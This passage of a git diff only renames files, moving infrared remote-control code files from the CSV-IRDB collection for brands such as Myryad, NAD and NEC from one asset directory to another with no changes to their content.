b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/18,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/18,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/18,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/23,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Myryad/Receiver/23,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Myryad/Receiver/23,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Amplifier/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Amplifier/135,124.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Amplifier/135,124.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Amplifier/135,124.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/CD Player/133,111.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/CD Player/133,111.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/CD Player/133,111.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/CD Player/133,111.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/CD Player/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/CD Player/135,124.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/CD Player/135,124.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/CD Player/135,124.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/CD Player/42,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/CD Player/42,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/CD Player/42,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/CD Player/42,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Monitor/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Monitor/64,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Monitor/64,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Monitor/64,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Receiver/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Receiver/135,124.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Receiver/135,124.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Receiver/135,124.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Surround Processor/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Surround Processor/135,124.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Surround Processor/135,124.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Surround Processor/135,124.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Tuner/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Tuner/135,124.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Tuner/135,124.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Tuner/135,124.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown/135,124.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown/135,124.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown/135,124.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown_451/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_451/135,124.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown_451/135,124.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_451/135,124.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Monitor/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Monitor/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Monitor/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Monitor/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Monitor/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Monitor/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Monitor/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Monitor/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/26,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/26,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/26,197.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,197.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/26,197.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,197.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/26,225.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,225.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/26,225.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,225.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/26,228.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,228.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/26,228.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,228.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/26,231.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,231.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/26,231.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/26,231.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Receiver/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Receiver/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Surround Processor/26,228.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Surround Processor/26,228.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Surround Processor/26,228.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Surround Processor/26,228.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/TV/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/TV/24,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/TV/24,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/TV/24,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/TV/24,24.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/TV/24,24.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/TV/24,24.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/TV/24,24.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/TV/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/TV/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/TV/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/TV/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown/25,231.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown/25,231.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown/25,231.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown/25,231.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/VCR/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/VCR/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/NEC/VCR/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/NEC/VCR/10,-1.ir diff --git 